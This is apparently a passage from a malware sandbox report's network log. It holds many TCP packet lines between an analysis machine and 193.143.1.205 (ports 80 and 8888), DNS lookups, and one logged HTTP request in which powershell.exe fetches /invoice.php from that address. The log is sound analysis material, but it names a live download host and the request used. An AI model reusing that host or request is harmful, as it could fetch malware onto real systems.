Jan 14, 2025 11:12:03.359529972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.359544039 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.359561920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.359595060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.359611034 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.359626055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.359659910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.359671116 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.359693050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.359725952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.359745026 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.359757900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.359791994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.359807014 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.359827042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.359877110 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.360076904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.360109091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.360153913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.360160112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.360209942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.360243082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.360256910 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.360275030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.360307932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.360320091 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.360340118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.360373020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.360383034 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.360407114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.360446930 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.367199898 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.406449080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.406519890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.406573057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.406575918 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.406624079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.406656981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.406663895 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.406688929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.406723022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.406737089 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.406750917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.406795025 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.406800985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.406855106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.406886101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.406899929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.406919003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.406949997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.406960964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.407001019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.407043934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.407049894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.407083988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.407119989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.407130003 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.407152891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.407186031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.407197952 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.407222986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.407270908 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.407270908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.407345057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.407377005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.407397032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.407412052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.407444954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.407459021 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.407478094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.407509089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.407527924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.407541990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.407572985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.407588005 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.407605886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.407638073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.407648087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.407670021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.407705069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.407715082 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.407737970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.407769918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.407778978 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.407803059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.407838106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.407845974 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.444279909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.444339991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.444349051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.444385052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.444417953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.444432020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.444453001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.444487095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.444502115 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.444540024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.444572926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.444583893 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.444627047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.444658995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.444669008 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.444709063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.444741011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.444753885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.444791079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.444823980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.444833994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.444855928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.444895029 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.444905043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.444938898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.444973946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.444984913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.445007086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.445039988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.445055008 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.445071936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.445103884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.445121050 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.445136070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.445168018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.445178032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.445202112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.445234060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.445247889 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.445266962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.445298910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.445312977 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.445333004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.445363998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.445380926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.445398092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.445431948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.445445061 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.445465088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.445497036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.445511103 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.445528984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.445559978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.445571899 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.445610046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.445653915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.445658922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.445693970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.445724964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.445741892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.445758104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.445790052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.445805073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.445842981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.445874929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.445890903 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.445909023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.445952892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.445959091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.445992947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.446041107 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.446041107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.446073055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.446114063 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.446121931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.446157932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.446187973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.446209908 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.446227074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.446260929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.446271896 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.446293116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.446326017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.446342945 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.446358919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.446392059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.446405888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.446424007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.446455956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.446465969 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.446489096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.446521997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.446528912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.446554899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.446588993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.446603060 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.446623087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.446667910 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.447758913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.451510906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.451528072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.451544046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.451574087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.451598883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.451637030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.451647997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.459204912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.488778114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.488822937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.488851070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.488857985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.488893986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.488903999 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.488925934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.488959074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.488966942 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.488992929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.489029884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.489033937 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.493469000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.493516922 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.493525982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.493576050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.493619919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.493623972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.493657112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.493704081 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.493710041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.493762016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.493803024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.493809938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.493856907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.493889093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.493902922 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.493937969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.493971109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.493980885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.494026899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.494071007 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.494076967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.494108915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.494141102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.494158983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.494173050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.494210958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.494220972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.494242907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.494276047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.494291067 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.494307995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.494339943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.494343996 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.494371891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.494404078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.494419098 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.494436979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.494468927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.494482994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.494502068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.494534969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.494549990 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.494566917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.494599104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.494606972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.494631052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.494663954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.494671106 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.494695902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.494729996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.494745970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.497813940 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.497828960 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.531152964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.531218052 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.531224012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.531259060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.531292915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.531306982 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.531369925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.531413078 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.531423092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.531459093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.531491041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.531506062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.531523943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.531557083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.531567097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.531590939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.531619072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.531636953 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.531651974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.531683922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.531696081 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.531716108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.531748056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.531761885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.531780958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.531817913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.531826973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.531850100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.531882048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.531891108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.531913996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.531945944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.531954050 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.531977892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.532011032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:03.532017946 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.532078981 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:03.696225882 CET	49730	80	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:04.685044050 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:04.690468073 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:04.690701962 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:04.691457987 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:04.696371078 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:05.550755024 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 14, 2025 11:12:05.600373030 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 14, 2025 11:12:05.951719999 CET	49731	8888	192.168.2.4	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 14, 2025 11:12:17.855756998 CET	52471	53	192.168.2.4	1.1.1.1
Jan 14, 2025 11:12:30.058927059 CET	52102	53	192.168.2.4	1.1.1.1
Jan 14, 2025 11:12:46.229383945 CET	49765	53	192.168.2.4	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 14, 2025 11:12:17.855756998 CET	192.168.2.4	1.1.1.1	0xa33a	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 14, 2025 11:12:30.058927059 CET	192.168.2.4	1.1.1.1	0x3bf7	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 14, 2025 11:12:46.229383945 CET	192.168.2.4	1.1.1.1	0x6dda	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 14, 2025 11:12:16.087794065 CET	1.1.1.1	192.168.2.4	0x1954	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 14, 2025 11:12:16.087794065 CET	1.1.1.1	192.168.2.4	0x1954	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 14, 2025 11:12:17.864223957 CET	1.1.1.1	192.168.2.4	0xa33a	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 11:12:30.066303015 CET	1.1.1.1	192.168.2.4	0x3bf7	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 11:12:46.237046003 CET	1.1.1.1	192.168.2.4	0x6dda	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	193.143.1.205	80	7784	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 14, 2025 11:12:01.974278927 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
